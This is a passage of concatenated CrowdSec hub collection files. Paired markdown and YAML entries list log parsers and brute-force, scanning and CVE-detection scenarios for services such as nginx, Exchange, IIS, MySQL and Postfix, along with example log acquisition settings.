--- filenames: - /var/log/vsftpd.log labels: type: vsftpd ``` You can also monitor all the created `Nexus` by replacing `/var/log/` by `/home/virtual//var/log/`. notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/apiscp.yaml000066400000000000000000000006161437532772500213260ustar00rootroot00000000000000scenarios: - crowdsecurity/http-apiscp-bf collections: - crowdsecurity/apache2 - crowdsecurity/dovecot - crowdsecurity/haproxy - crowdsecurity/mysql - crowdsecurity/postfix - crowdsecurity/pgsql - crowdsecurity/vsftpd description: "apisCP support : collections for services supported by apisCP + apisCP admin page parser/scenario bruteforce" author: crowdsecurity tags: - apiscp hub1/collections/crowdsecurity/asterisk.md000066400000000000000000000007551437532772500213360ustar00rootroot00000000000000## Asterisk collection A collection for asterisk : - asterisk log parser - asterisk user enumeration scenario - asterisk bruteforce scenario ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/asterisk/*.log labels: type: asterisk ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/asterisk.yaml000066400000000000000000000004041437532772500216670ustar00rootroot00000000000000parsers: - crowdsecurity/asterisk-logs scenarios: - crowdsecurity/asterisk_bf - crowdsecurity/asterisk_user_enum description: "asterisk support : parser and bruteforce/user enumeration scenarios " author: crowdsecurity tags: - asterisk - bruteforce hub1/collections/crowdsecurity/base-http-scenarios.md000066400000000000000000000006411437532772500233560ustar00rootroot00000000000000**contains no parser, meant to be embedded** A collection of defensive (implementation independent) scenarios for http services : - aggressive crawl detection - scanning/probing detection - bad user-agent detection - path traversal detection - sensitive data access attempts detection - SQL injection detection :warning: This collection is _not_ a WAF and this scenario does _not_ aims at replacing a WAF. hub1/collections/crowdsecurity/base-http-scenarios.yaml000066400000000000000000000011351437532772500237170ustar00rootroot00000000000000parsers: - crowdsecurity/http-logs scenarios: - crowdsecurity/http-crawl-non_statics - crowdsecurity/http-probing - crowdsecurity/http-bad-user-agent - crowdsecurity/http-path-traversal-probing - crowdsecurity/http-sensitive-files - crowdsecurity/http-sqli-probing - crowdsecurity/http-xss-probing - crowdsecurity/http-backdoors-attempts - ltsich/http-w00tw00t - crowdsecurity/http-generic-bf - crowdsecurity/http-open-proxy collections: - crowdsecurity/http-cve description: "http common : scanners detection" author: crowdsecurity tags: - linux - http - crawl - scan hub1/collections/crowdsecurity/caddy.md000066400000000000000000000007531437532772500205730ustar00rootroot00000000000000## Caddy collection A collection to defend caddy against common http attacks : - caddy parser - base-http-scenarios collection to detect http bad behaviors ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/caddy/*.log type: caddy ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/caddy.yaml000066400000000000000000000003351437532772500211310ustar00rootroot00000000000000parsers: - crowdsecurity/caddy-logs collections: - crowdsecurity/base-http-scenarios description: "caddy support : parser and generic http scenarios" author: crowdsecurity tags: - linux - caddy - crawl - scan hub1/collections/crowdsecurity/cpanel.md000066400000000000000000000007351437532772500207510ustar00rootroot00000000000000## Cpanel collection A collection for cpanel. Contains: * cpanel log parser * cpanel scenario to detect bruteforce ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /home//logs/cpanel/login_log labels: type: cpanel ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/cpanel.yaml000066400000000000000000000003621437532772500213070ustar00rootroot00000000000000parsers: - crowdsecurity/cpanel-logs scenarios: - crowdsecurity/cpanel-bf - crowdsecurity/cpanel-bf-attempt description: "cpanel support : parser and bruteforce detection" author: crowdsecurity tags: - linux - cpanel - bruteforce hub1/collections/crowdsecurity/dovecot.md000066400000000000000000000010441437532772500211440ustar00rootroot00000000000000## Dovecot collection A collection for dovecot * dovecot log parsers * dovecot scenario bruteforce spam attempt This collection mostly aims at getting similar spam protection as the normal fail2ban dovecot configuration. > Contribution by https://github.com/LtSich ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/mail.log labels: type: syslog ``` notes : - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/dovecot.yaml000066400000000000000000000003161437532772500215070ustar00rootroot00000000000000parsers: - crowdsecurity/dovecot-logs scenarios: - crowdsecurity/dovecot-spam description: "dovecot support : parser and spammer detection" author: crowdsecurity tags: - linux - spam - bruteforce hub1/collections/crowdsecurity/endlessh.md000066400000000000000000000007601437532772500213120ustar00rootroot00000000000000## Endlessh collection A collection for [Endlessh](https://github.com/skeeto/endlessh) * log parser * brute-force scenario > Contribution by https://github.com/bamx23 ## Acquisition template Example acquisition for this collection: ```yaml filenames: - /var/log/endlessh.log labels: type: endlessh ``` You need to configure Endlessh to write logs to this path. I.e. by having this line in `/usr/lib/systemd/system/endlessh.service`: ``` StandardOutput=file:/var/log/endlessh.log ``` hub1/collections/crowdsecurity/endlessh.yaml000066400000000000000000000004501437532772500216500ustar00rootroot00000000000000#the list of parsers it contains parsers: - crowdsecurity/endlessh-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/endlessh-bf description: "endlessh support : logs parser and brute-force detection" author: crowdsecurity tags: - linux - ssh - endlessh - bruteforce hub1/collections/crowdsecurity/exchange.md000066400000000000000000000024331437532772500212660ustar00rootroot00000000000000## Exchange collection A collection for Microsoft Exchange: - Detect bruteforce on an OWA instance - Detect bruteforce on the SMTP service of Exchange Note: - This collection will read the exchange transport logs, which are not written to disk in real time. In order to avoid false positive in low traffic environment, set the `use_time_machine` parameter to `true`. ## Acquisition template Example acquisition for this collection: ```yaml use_time_machine: true #Process logs as if we were replaying them to get the timestamp from the filenames: - C:\Program Files\Microsoft\Exchange Server\V15\TransportRoles\Logs\FrontEnd\ProtocolLog\SmtpReceive\*.LOG labels: type: exchange-smtp --- use_time_machine: true #Process logs as if we were replaying them to get the timestamp from the filenames: - C:\Program Files\Microsoft\Exchange Server\V15\Logging\Imap4\*.LOG labels: type: exchange-imap --- use_time_machine: true #Process logs as if we were replaying them to get the timestamp from the filenames: - C:\Program Files\Microsoft\Exchange Server\V15\Logging\Pop3\*.LOG labels: type: exchange-pop --- #OWA failed attempts are logged in the same way as RDP failed auth source: wineventlog event_channel: Security event_ids: - 4625 event_level: information labels: type: eventlog ```hub1/collections/crowdsecurity/exchange.yaml000066400000000000000000000006301437532772500216250ustar00rootroot00000000000000parsers: - crowdsecurity/exchange-smtp-logs - crowdsecurity/exchange-imap-logs - crowdsecurity/exchange-pop-logs scenarios: - crowdsecurity/exchange-bf - crowdsecurity/windows-bf collections: - crowdsecurity/windows - crowdsecurity/iis description: "Exchange support : Bruteforce detection for OWA,SMTP,IMAP and POP" author: crowdsecurity tags: - windows - iis - exchange - bruteforce hub1/collections/crowdsecurity/exim.md000066400000000000000000000007171437532772500204510ustar00rootroot00000000000000## Exim collection A collection for Exim mail server * exim log parser * exim scenario for bruteforce and spam attempt ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/exim_mainlog labels: type: exim ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/exim.yaml000066400000000000000000000003471437532772500210120ustar00rootroot00000000000000parsers: - crowdsecurity/exim-logs scenarios: - crowdsecurity/exim-bf - crowdsecurity/exim-spam description: "exim support : parser and bruteforce/spam detection" author: crowdsecurity tags: - linux - spam - bruteforce hub1/collections/crowdsecurity/fastly.md000066400000000000000000000010271437532772500210040ustar00rootroot00000000000000## Fastly collection A collection to defend fastly against common http attacks : - fastly default log format parser - base http scenarios (crawl, 404 scan, bf etc.) ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/fastly/*.log labels: type: syslog external_format: fastly ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/fastly.yaml000066400000000000000000000003361437532772500213500ustar00rootroot00000000000000parsers: - crowdsecurity/fastly-logs collections: - crowdsecurity/base-http-scenarios description: "fastly support : parser and generic http scenarios" author: crowdsecurity tags: - fastly - http - crawl - scanhub1/collections/crowdsecurity/freebsd.md000066400000000000000000000001121437532772500211060ustar00rootroot00000000000000**core package for freebsd** contains support for syslog, do not remove. hub1/collections/crowdsecurity/freebsd.yaml000066400000000000000000000003561437532772500214620ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/geoip-enrich - crowdsecurity/dateparse-enrich collections: - crowdsecurity/sshd description: "core freebsd support : syslog+geoip+ssh" author: crowdsecurity tags: - freebsd hub1/collections/crowdsecurity/haproxy.md000066400000000000000000000007661437532772500212050ustar00rootroot00000000000000## Haproxy collection A collection to defend haproxy http against common attacks : - haproxy http parser - base http scenarios (crawl, 404 scan, bf etc.) ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/haproxy/*.log labels: type: haproxy ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/haproxy.yaml000066400000000000000000000003441437532772500215370ustar00rootroot00000000000000parsers: - crowdsecurity/haproxy-logs collections: - crowdsecurity/base-http-scenarios description: "haproxy support : parser and generic http scenarios" author: crowdsecurity tags: - linux - haproxy - crawl - scan hub1/collections/crowdsecurity/home-asistant.md000066400000000000000000000004221437532772500222540ustar00rootroot00000000000000## Home assistant Collection A collection for Home assistant : - Home assistant logs parser - bruteforce detection ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /config/home-assistant.log labels: type: home-assistant ``` hub1/collections/crowdsecurity/home-assistant.yaml000066400000000000000000000003421437532772500230020ustar00rootroot00000000000000parsers: - crowdsecurity/home-assistant-logs scenarios: - crowdsecurity/home-assistant-bf description: "Home assistant support : logs and brute-force scenario" author: crowdsecurity tags: - home-assistant - bruteforce hub1/collections/crowdsecurity/http-cve.md000066400000000000000000000033611437532772500212370ustar00rootroot00000000000000A collection of http specific CVEs : - [Apache CVE-2021-41773](https://cve.circl.lu/cve/CVE-2021-41773) - [Apache CVE-2021-42013](https://cve.circl.lu/cve/CVE-2021-42013) - [Grafana CVE-2021-43798](https://cve.circl.lu/cve/CVE-2021-43798) - [Fortinet CVE-2018-13379](https://cve.circl.lu/cve/CVE-2018-13379) - [Pulse Secure CVE-2019-11510](https://cve.circl.lu/cve/CVE-2019-11510) - [F5 BIG-IP CVE-2020-5902](https://cve.circl.lu/cve/CVE-2020-5902) - [ThinkPHP CVE-2018-20062](https://cve.circl.lu/cve/CVE-2018-20062) - [Apache Log4j2 CVE-2021-44228](https://cve.circl.lu/cve/CVE-2021-44228) - [VMware VMSA-2021-0027](https://www.vmware.com/security/advisories/VMSA-2021-0027.html) - [Atlassian Jira CVE-2021-26086](https://cve.circl.lu/cve/CVE-2021-26086) - [Spring4Shell CVE-2022-22965](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965) - [VMware CVE-2022-22954](https://www.vmware.com/security/advisories/VMSA-2022-0011.html) - [GLPI CVE-2022-35914](https://nvd.nist.gov/vuln/detail/CVE-2022-35914) - [Fortinet CVE-2022-40684](https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/) - [Confluence CVE-2022-26134](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26134) - [Text4Shell CVE-2022-42889](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42889) - [Ghost CMS CVE-2022-41697](https://nvd.nist.gov/vuln/detail/CVE-2022-41697) - [Cacti CVE-2022-46169](https://nvd.nist.gov/vuln/detail/CVE-2022-46169) - [Centos Web Panel 7 CVE-2022-44877](https://nvd.nist.gov/vuln/detail/CVE-2022-44877) :warning: This collection is _not_ a WAF and this collection does _not_ aims at replacing a WAF. As such, an attacker might be able to bypass those signatures. hub1/collections/crowdsecurity/http-cve.yaml000066400000000000000000000015701437532772500216010ustar00rootroot00000000000000scenarios: - crowdsecurity/http-cve-2021-41773 - crowdsecurity/http-cve-2021-42013 - crowdsecurity/grafana-cve-2021-43798 - crowdsecurity/vmware-vcenter-vmsa-2021-0027 - crowdsecurity/fortinet-cve-2018-13379 - crowdsecurity/pulse-secure-sslvpn-cve-2019-11510 - crowdsecurity/f5-big-ip-cve-2020-5902 - crowdsecurity/thinkphp-cve-2018-20062 - crowdsecurity/apache_log4j2_cve-2021-44228 - crowdsecurity/jira_cve-2021-26086 - crowdsecurity/spring4shell_cve-2022-22965 - crowdsecurity/vmware-cve-2022-22954 - crowdsecurity/CVE-2022-37042 - crowdsecurity/CVE-2022-41082 - crowdsecurity/CVE-2022-35914 - crowdsecurity/CVE-2022-40684 - crowdsecurity/CVE-2022-26134 - crowdsecurity/CVE-2022-42889 - crowdsecurity/CVE-2022-41697 - crowdsecurity/CVE-2022-46169 - crowdsecurity/CVE-2022-44877 author: crowdsecurity tags: - web - exploit - cve - http hub1/collections/crowdsecurity/iis.md000066400000000000000000000020021437532772500202600ustar00rootroot00000000000000## IIS collection A collection for IIS : - ISS parser (only W3C format is supported, with the default format) - base http scenarios for crawl, scan etc. Note: - IIS will buffer the logs in memory before writing them to the log file (or the event log). The flush is done every minute or every 64kB by default, this can lead to some false positives on low traffic websites, as crowdsec will be a surge of logs every minute. This can be mitigated by setting the `use_time_machine` settings to true in the relevant section of your acquisition config. ## Acquisition template Example acquisition for this collection if you log to a file: ```yaml use_time_machine: true #Process logs as if we were replaying them to get the timestamp from the filenames: - C:\inetpub\logs\LogFiles\*\*.log labels: type: iis ``` Example acquisition for this collection if you log to windows events: ```yaml source: wineventlog event_channel: Microsoft-IIS-Logging/Logs event_ids: - 6200 event_level: information labels: type: iis ``` hub1/collections/crowdsecurity/iis.yaml000066400000000000000000000003331437532772500206270ustar00rootroot00000000000000parsers: - crowdsecurity/iis-logs collections: - crowdsecurity/base-http-scenarios description: "IIS support : parser and generic http scenarios " author: crowdsecurity tags: - windows - iis - crawl - scan hub1/collections/crowdsecurity/iptables.md000066400000000000000000000006761437532772500213160ustar00rootroot00000000000000## Iptables/Nftables collection A collection for portscan detection via iptables/nftables : - iptables/nftables parser (like in `-j LOG`) - multi port scan detection ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/kern.log labels: type: syslog ``` notes : - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/iptables.yaml000066400000000000000000000003531437532772500216500ustar00rootroot00000000000000parsers: - crowdsecurity/iptables-logs scenarios: - crowdsecurity/iptables-scan-multi_ports description: "iptables support : logs and port-scans detection scenarios" author: crowdsecurity tags: - linux - portscan - iptables hub1/collections/crowdsecurity/kasm.md000066400000000000000000000003551437532772500204400ustar00rootroot00000000000000### KASM workspaces parser This collection add parser support for kasm json log output, also a base scenario to detect bruteforce login attempts. ```yaml filenames: - /opt/kasm/current/log/api_server_json.log labels: type: kasm ```hub1/collections/crowdsecurity/kasm.yaml000066400000000000000000000003621437532772500210000ustar00rootroot00000000000000parsers: #generic post-parsing of http stuff - crowdsecurity/kasm-logs scenarios: - crowdsecurity/kasm-bruteforce description: "kasm workspaces support : parser and bruteforce scenario" author: crowdsecurity tags: - kasm - bruteforce hub1/collections/crowdsecurity/linux-lpe.md000066400000000000000000000011541437532772500214200ustar00rootroot00000000000000## Local Privilege Escalation Detection This collection aims at detecting (when possible) local privilege escalation attacks. - CVE-2021-4034 : Detect exploitation of pkexec vulnerability :warning: Please note those scenarios are detection only, and are very likely to be bypassed by smart attackers, do not rely solely on them :warning: ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/auth.log labels: type: syslog ``` notes : - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/linux-lpe.yaml000066400000000000000000000004041437532772500217570ustar00rootroot00000000000000parsers: - crowdsecurity/pkexec-logs scenarios: - crowdsecurity/CVE-2021-4034 collections: - crowdsecurity/linux description: "Linux Local Privilege Escalation collection : detect trivial LPEs" author: crowdsecurity tags: - linux - privsec - lpe hub1/collections/crowdsecurity/linux.md000066400000000000000000000001101437532772500206310ustar00rootroot00000000000000**core package for linux** contains support for syslog, do not remove. hub1/collections/crowdsecurity/linux.yaml000066400000000000000000000003511437532772500212020ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/geoip-enrich - crowdsecurity/dateparse-enrich collections: - crowdsecurity/sshd description: "core linux support : syslog+geoip+ssh" author: crowdsecurity tags: - linux hub1/collections/crowdsecurity/litespeed.md000066400000000000000000000011511437532772500214560ustar00rootroot00000000000000## Litespeed collection A collection to defend litespeed against common attacks : - litespeed parser - base http scenarios (crawl, 404 scan, bf) - Bruteforce against litespeed admin UI ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /usr/local/lsws/YOURVHOST/logs/*.log - /usr/local/lsws/admin/logs/*.log - /usr/local/lsws/logs/*.log labels: type: litespeed ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/litespeed.yaml000066400000000000000000000004201437532772500220160ustar00rootroot00000000000000parsers: - crowdsecurity/litespeed-logs collections: - crowdsecurity/base-http-scenarios scenarios: - crowdsecurity/litespeed-admin-bf description: "litespeed support : parser and generic http scenarios" author: crowdsecurity tags: - litespeed - crawl - scan hub1/collections/crowdsecurity/magento.md000066400000000000000000000015561437532772500211430ustar00rootroot00000000000000## Magento collection This Magento collection supports : - Parser for the [CrowdSec Magento Extension](https://hub.crowdsec.net/author/crowdsecurity/bouncers/cs-magento-bouncer) - Web authentication bruteforce detection - Credit card stuffing detection from a single IP - Distributed Credit card stuffing from same country ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/www/html/magento2/var/log/crowdsec-events.log labels: type: magento-extension ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection [Here is the documentation](https://github.com/crowdsecurity/cs-magento-bouncer/blob/main/doc/USER_GUIDE.md#events) to enable `Event Logging` in your Magento Bouncer.hub1/collections/crowdsecurity/magento.yaml000066400000000000000000000006151437532772500215000ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/magento-extension-logs - crowdsecurity/dateparse-enrich - crowdsecurity/geoip-enrich scenarios: - crowdsecurity/http-magento-bf - crowdsecurity/http-magento-ccs-by-country - crowdsecurity/http-magento-ccs-by-as - crowdsecurity/http-magento-ccs description: "Magento collection" author: crowdsecurity tags: - magento - http hub1/collections/crowdsecurity/mariadb.md000066400000000000000000000007001437532772500210760ustar00rootroot00000000000000## MariaDB collection A collection for mariadb service : - mariadb logs parser - bruteforce detection ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/mysql/error.log labels: type: mysql ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/mariadb.yaml000066400000000000000000000003211437532772500214370ustar00rootroot00000000000000parsers: - crowdsecurity/mariadb-logs scenarios: - crowdsecurity/mariadb-bf description: "mariadb support : logs and brute-force scenarios" author: crowdsecurity tags: - linux - mariadb - bruteforce hub1/collections/crowdsecurity/modsecurity.md000066400000000000000000000010601437532772500220460ustar00rootroot00000000000000## Modsecurity collection A collection for modsecurity (tested only with Apache): - modsecurity parser: `crowdsecurity/modsecurity` - modsecurity scenario: `crowdsecurity/modsecurity ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/apache2/*.log - /var/log/nginx/*.log labels: type: modsecurity ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/modsecurity.yaml000066400000000000000000000003121437532772500224070ustar00rootroot00000000000000parsers: - crowdsecurity/modsecurity scenarios: - crowdsecurity/modsecurity description: "modsecurity support : modsecurity parser and scenario" author: crowdsecurity tags: - linux - web - wafhub1/collections/crowdsecurity/mssql.md000066400000000000000000000005621437532772500206440ustar00rootroot00000000000000## MSSQL Collection A collection for MSSQL : - mssql logs parser - bruteforce detection ## Acquisition template Example acquisition for this collection : ```yaml source: wineventlog event_channel: Application event_ids: - 18456 event_level: information labels: type: eventlog ``` notes: - You need to enable failed login logs (which should be on by default)hub1/collections/crowdsecurity/mssql.yaml000066400000000000000000000003131437532772500212000ustar00rootroot00000000000000parsers: - crowdsecurity/mssql-logs scenarios: - crowdsecurity/mssql-bf description: "mssql support : logs and brute-force scenarios" author: crowdsecurity tags: - windows - mssql - bruteforce hub1/collections/crowdsecurity/mysql.md000066400000000000000000000006751437532772500206570ustar00rootroot00000000000000## MySQL Collection A collection for mysql services : - mysql logs parser - bruteforce detection ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/mysql/error.log labels: type: mysql ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/mysql.yaml000066400000000000000000000003111437532772500212040ustar00rootroot00000000000000parsers: - crowdsecurity/mysql-logs scenarios: - crowdsecurity/mysql-bf description: "mysql support : logs and brute-force scenarios" author: crowdsecurity tags: - linux - mysql - bruteforce hub1/collections/crowdsecurity/naxsi.md000066400000000000000000000007261437532772500206310ustar00rootroot00000000000000## Naxsi collection A collection to detect virtual patch violations : - naxsi logs parser - vpatch high id (>9999) trigger rule ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/nginx/*.log labels: type: nginx ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/naxsi.yaml000066400000000000000000000004321437532772500211650ustar00rootroot00000000000000parsers: #generic post-parsing of http stuff - crowdsecurity/nginx-logs - crowdsecurity/naxsi-logs scenarios: - crowdsecurity/naxsi-exploit-vpatch description: "naxsi support : parser and vpatch scenario" author: crowdsecurity tags: - linux - nginx - naxsi - exploit hub1/collections/crowdsecurity/nextcloud.md000066400000000000000000000014621437532772500215120ustar00rootroot00000000000000A collection to defend [Nextcloud](https://nextcloud.com) instance against common attacks : - Nextcloud parser - Nextcloud bruteforce, enumeration and trusted domain detection > Contributed by Håvard Moen and a1ad ## Acquisition template Example acquisition for this collection : ```yaml --- filenames: - /var/www/nextcloud/data/nextcloud.log labels: type: Nextcloud ``` ```yaml --- source: journalctl journalctl_filter: - "SYSLOG_IDENTIFIER=Nextcloud" labels: type: syslog ``` - Use the filename version if you have the default [setting](https://docs.nextcloud.com/server/stable/admin_manual/configuration_server/config_sample_php_parameters.html?highlight=loglevel#logging) of logging to file - Use the journalctl version if you are sending logs to syslog or systemd and read the logs from journald hub1/collections/crowdsecurity/nextcloud.yaml000066400000000000000000000004051437532772500220500ustar00rootroot00000000000000--- parsers: - crowdsecurity/nextcloud-logs - crowdsecurity/nextcloud-whitelist scenarios: - crowdsecurity/nextcloud-bf description: "Nextcloud support : parser and brute-force detection" author: crowdsecurity tags: - linux - bruteforce - nextcloud hub1/collections/crowdsecurity/nginx-proxy-manager.md000066400000000000000000000010741437532772500234160ustar00rootroot00000000000000## Nginx Proxy Manager collection A collection to defend nginx against common attacks : - [Nginx Proxy Manager](https://github.com/NginxProxyManager/nginx-proxy-manager) parser - base http scenarios (crawl, 404 scan, bf) ## Acquisition template Example acquisition for this collection : ```yaml filenames: - ~/data/logs/*.log labels: type: nginx-proxy-manager ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your configuration, paths to log files might change - Only relevant if you are manually installing collectionhub1/collections/crowdsecurity/nginx-proxy-manager.yaml000066400000000000000000000004101437532772500237510ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-proxy-manager-logs collections: - crowdsecurity/base-http-scenarios description: "Nginx Proxy Manager support : parser and generic http scenarios" author: crowdsecurity tags: - linux - nginx - nginx-proxy - crawl - scanhub1/collections/crowdsecurity/nginx.md000066400000000000000000000011601437532772500206230ustar00rootroot00000000000000## Nginx collection A collection to defend nginx against common attacks : - nginx parser (support also ingress nginx controller default [log_format](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/log-format/)) - base http scenarios (crawl, 404 scan, bf) ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/nginx/*.log labels: type: nginx ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/nginx.yaml000066400000000000000000000004701437532772500211700ustar00rootroot00000000000000parsers: #generic post-parsing of http stuff - crowdsecurity/nginx-logs collections: - crowdsecurity/base-http-scenarios scenarios: - crowdsecurity/nginx-req-limit-exceeded description: "nginx support : parser and generic http scenarios" author: crowdsecurity tags: - linux - nginx - crawl - scan hub1/collections/crowdsecurity/odoo.md000066400000000000000000000007621437532772500204470ustar00rootroot00000000000000## Odoo collection A collection to defend Odoo against common attacks: - Odoo authentication failures parser - detect bruteforce - detect user enumeration ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/odoo/*.log labels: type: odoo ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/odoo.yaml000066400000000000000000000003401437532772500210010ustar00rootroot00000000000000parsers: - crowdsecurity/odoo-logs scenarios: - crowdsecurity/odoo-bf_user-enum description: "Odoo support : parser and brute-force/user enumeration detection" author: crowdsecurity tags: - erp - odoo - bruteforce hub1/collections/crowdsecurity/opnsense-gui.md000066400000000000000000000001431437532772500221140ustar00rootroot00000000000000## OPNSense web authentication collection Support to detect bruteforce on the OPNSense web portal hub1/collections/crowdsecurity/opnsense-gui.yaml000066400000000000000000000003341437532772500224600ustar00rootroot00000000000000parsers: - crowdsecurity/opnsense-gui-logs scenarios: - crowdsecurity/opnsense-gui-bf description: "OPNSense web authentication support" author: crowdsecurity tags: - freebsd - opnsense - bruteforce - scan hub1/collections/crowdsecurity/opnsense.md000066400000000000000000000002151437532772500213320ustar00rootroot00000000000000## OPNSense collection This OPNSense collection supports : - ssh parsers & bruteforce detection - web authentication bruteforce detection hub1/collections/crowdsecurity/opnsense.yaml000066400000000000000000000002231437532772500216730ustar00rootroot00000000000000collections: - crowdsecurity/freebsd - crowdsecurity/opnsense-gui description: "core opnsense support" author: crowdsecurity tags: - freebsd hub1/collections/crowdsecurity/pgsql.md000066400000000000000000000007121437532772500206300ustar00rootroot00000000000000## PostgreSQL collection A collection for postgresql services : - pgsql logs parser - bruteforce detection ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/postgresql/*.log labels: type: postgres ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/pgsql.yaml000066400000000000000000000003311437532772500211670ustar00rootroot00000000000000parsers: - crowdsecurity/pgsql-logs scenarios: - crowdsecurity/pgsql-bf description: "postgres support : logs and brute-force scenarios" author: crowdsecurity tags: - linux - pgsql - postgres - bruteforce hub1/collections/crowdsecurity/postfix.md000066400000000000000000000012721437532772500212000ustar00rootroot00000000000000## Postfix collection A collection for postfix * postfix log parsers * postscreen log parser * postfix scenario bruteforce spam attempt * postscreen rb attempt blacklist This collection mostly aims at getting a similar spam protection as the normal fail2ban postfix configuration although postcreen log management isn't included by default by fail2ban. ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/mail.log labels: type: syslog ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/postfix.yaml000066400000000000000000000003601437532772500215370ustar00rootroot00000000000000parsers: - crowdsecurity/postfix-logs - crowdsecurity/postscreen-logs scenarios: - crowdsecurity/postfix-spam description: "postfix support : parser and spammer detection" author: crowdsecurity tags: - linux - spam - bruteforce hub1/collections/crowdsecurity/proftpd.md000066400000000000000000000007511437532772500211630ustar00rootroot00000000000000## ProFTPD collection A collection to defend proftpd against common attacks: - proftpd parser - detect bruteforce - detect user enumeration ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/proftpd/*.log labels: type: proftpd ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/proftpd.yaml000066400000000000000000000004141437532772500215210ustar00rootroot00000000000000parsers: - crowdsecurity/proftpd-logs scenarios: - crowdsecurity/proftpd-bf - crowdsecurity/proftpd-bf_user-enum description: "proftpd support : parser and brute-force/user enumeration detection" author: crowdsecurity tags: - linux - proftpd - bruteforce hub1/collections/crowdsecurity/smb.md000066400000000000000000000010671437532772500202670ustar00rootroot00000000000000## SMB collection A collection to defend smb against common attacks: - smb parser - detect bruteforce ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/samba/log.* labels: type: smb ``` notes : - You may target a more specific log, usualy log. - Be sure to have the appropriate log level in your smb.conf - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/smb.yaml000066400000000000000000000003031437532772500206210ustar00rootroot00000000000000parsers: - crowdsecurity/smb-logs scenarios: - crowdsecurity/smb-bf description: "smb support : parser and brute-force scenario" author: crowdsecurity tags: - linux - smb - bruteforce hub1/collections/crowdsecurity/sshd.md000066400000000000000000000010051437532772500204370ustar00rootroot00000000000000## SSHD collection A collection to defend sshd 